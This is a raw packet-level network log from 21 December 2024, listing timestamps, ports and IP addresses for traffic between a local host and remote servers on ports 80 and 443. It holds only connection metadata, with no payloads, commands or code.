Dec 21, 2024 18:16:34.479182005 CET	443	49827	172.217.17.46	192.168.2.4
Dec 21, 2024 18:16:34.482327938 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:34.482377052 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:34.482525110 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:34.482758045 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:34.482786894 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:34.514837027 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.514858007 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.514913082 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.514913082 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.515177011 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.515244961 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.515248060 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.515307903 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.515908003 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.515969992 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.516016960 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.516089916 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.517015934 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.517062902 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.517111063 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.517170906 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.518215895 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.518285990 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.518397093 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.518456936 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.519478083 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.519548893 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.519587040 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.519646883 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.520699024 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.520773888 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.520807028 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.520852089 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.521801949 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.521859884 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.521872044 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.521914005 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.523068905 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.523124933 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.523139000 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.523175955 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.524224043 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.524329901 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.524343014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.524395943 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.525435925 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.525480986 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.525528908 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.525588036 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.526623011 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.526669025 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.526721954 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.526846886 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.527961969 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.528013945 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.528060913 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.528160095 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.529150009 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.529226065 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.529264927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.529329062 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.530309916 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.530354023 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.530400991 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.530458927 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.531450987 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.531577110 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.531596899 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.531708956 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.532675028 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.532727957 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.532799006 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.532849073 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.533883095 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.533932924 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.534049988 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.534126043 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.535094976 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.535145998 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.535173893 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.535233021 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.536259890 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.536343098 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.536365986 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.536500931 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.537483931 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.537533045 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.537570000 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.537640095 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.538645029 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.538778067 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.538791895 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.538836956 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.540481091 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.540576935 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.540611029 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.540657043 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.541106939 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.541205883 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.541250944 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.541312933 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.542304993 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.542371035 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.542407036 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.542464018 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.543469906 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.543536901 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.543652058 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.543726921 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.544945955 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.545020103 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.545063019 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.545207024 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.545907974 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.545972109 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.546026945 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.546114922 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.547113895 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.547178030 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.547214985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.547305107 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.548269987 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.548331022 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.548350096 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.548429012 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.549479961 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.549534082 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.549612999 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.549675941 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.550714970 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.550805092 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.550843000 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.550843000 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.551875114 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.551933050 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.551978111 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.552040100 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.553127050 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.553193092 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.553216934 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.553267956 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.554583073 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.554630041 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.554667950 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.554667950 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.555485964 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.555536985 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.555593014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.555656910 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.556696892 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.556781054 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.556785107 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.556859016 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.558085918 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.558146954 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.558156013 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.558204889 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.559146881 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.559197903 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.559218884 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.559256077 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.560760021 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.560832024 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.560956001 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.561074018 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.561800003 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.561840057 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.561880112 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.561880112 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.562710047 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.562753916 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.562912941 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.562983990 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.563903093 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.563960075 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.564003944 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.564047098 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.565120935 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.565222979 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.565233946 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.565310955 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.566400051 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.566450119 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.566459894 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.566509962 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.567522049 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.567604065 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.567641020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.567686081 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.569130898 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.569148064 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.569191933 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.569192886 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.569968939 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.570023060 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.570077896 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.570139885 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.571230888 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.571279049 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.571330070 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.571373940 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.572336912 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.572391987 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.572434902 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.572520018 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.573543072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.573630095 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.573638916 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.573694944 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.574769974 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.574826956 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.574860096 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.574860096 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.575951099 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.576019049 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.576029062 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.576092005 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.577178001 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.577281952 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.706358910 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.706383944 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.706402063 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.706418037 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.706638098 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.706669092 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.706686020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.706727982 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.707974911 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.708015919 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.708139896 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.708177090 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.708982944 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.709028006 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.709075928 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.709120035 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.709891081 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.709929943 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.709980011 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.710019112 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.711071968 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.711107969 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.711175919 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.711215973 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.712398052 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.712429047 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.712436914 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.712465048 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.713504076 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.713542938 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.713720083 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.713757038 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.714725018 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.714764118 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.714884996 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.714912891 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.716026068 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.716065884 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.716195107 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.716234922 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.717027903 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.717068911 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.717180967 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.717220068 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.718210936 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.718247890 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.718373060 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.718410969 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.719400883 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.719448090 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.719491005 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.719535112 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.720596075 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.720635891 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.720731020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.720774889 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.721762896 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.721805096 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.721848011 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.721885920 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.722984076 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.723082066 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.723113060 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.723149061 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.724667072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.724714041 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.724756002 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.724792004 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.725474119 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.725513935 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.725514889 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.725550890 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.726561069 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.726612091 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.726677895 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.726716042 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.728112936 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.728152037 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.728236914 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.728272915 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.729120970 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.729161978 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.729296923 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.729341984 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.730180025 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.730222940 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.730312109 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.730355978 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.731355906 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.731400967 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.731437922 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.731486082 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.732517004 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.732561111 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.732705116 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.732750893 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.733834982 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.733881950 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.733918905 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.733958006 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.734934092 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.734977007 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.735061884 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.735105991 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.736150980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.736193895 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.736270905 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.736309052 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.737397909 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.737426043 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.737440109 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.737462044 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.738581896 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.738626957 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.738733053 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.738774061 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.740019083 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.740060091 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.740111113 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.740154028 CET	49826	80	192.168.2.4	31.41.244.11
